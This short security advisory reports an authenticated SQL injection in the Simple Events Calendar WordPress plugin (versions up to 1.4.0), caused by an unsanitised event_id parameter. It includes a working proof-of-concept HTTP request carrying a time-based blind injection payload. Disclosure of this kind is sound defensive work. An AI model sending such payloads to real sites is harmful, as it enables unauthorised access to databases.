Simple Events Calendar <= 1.4.0 - Authenticated (admin+) SQL Injection

The plugin does not sanitise, validate or escape the event_id POST parameter before using it in a SQL statement when deleting events, leading to an authenticated SQL injection issue

PoC

POST /wp-admin/admin.php?page=simple-events&tab;=existing_events HTTP/1.1 Content-Length: 33 Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 Content-Type: application/x-www-form-urlencoded Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.9 Accept-Language: en-US,en;q=0.9 Cookie: [admin+] Connection: close event_id=1%20AND%20(SELECT%204695%20FROM%20(SELECT(SLEEP(5)))wWPs)&delete;=Remove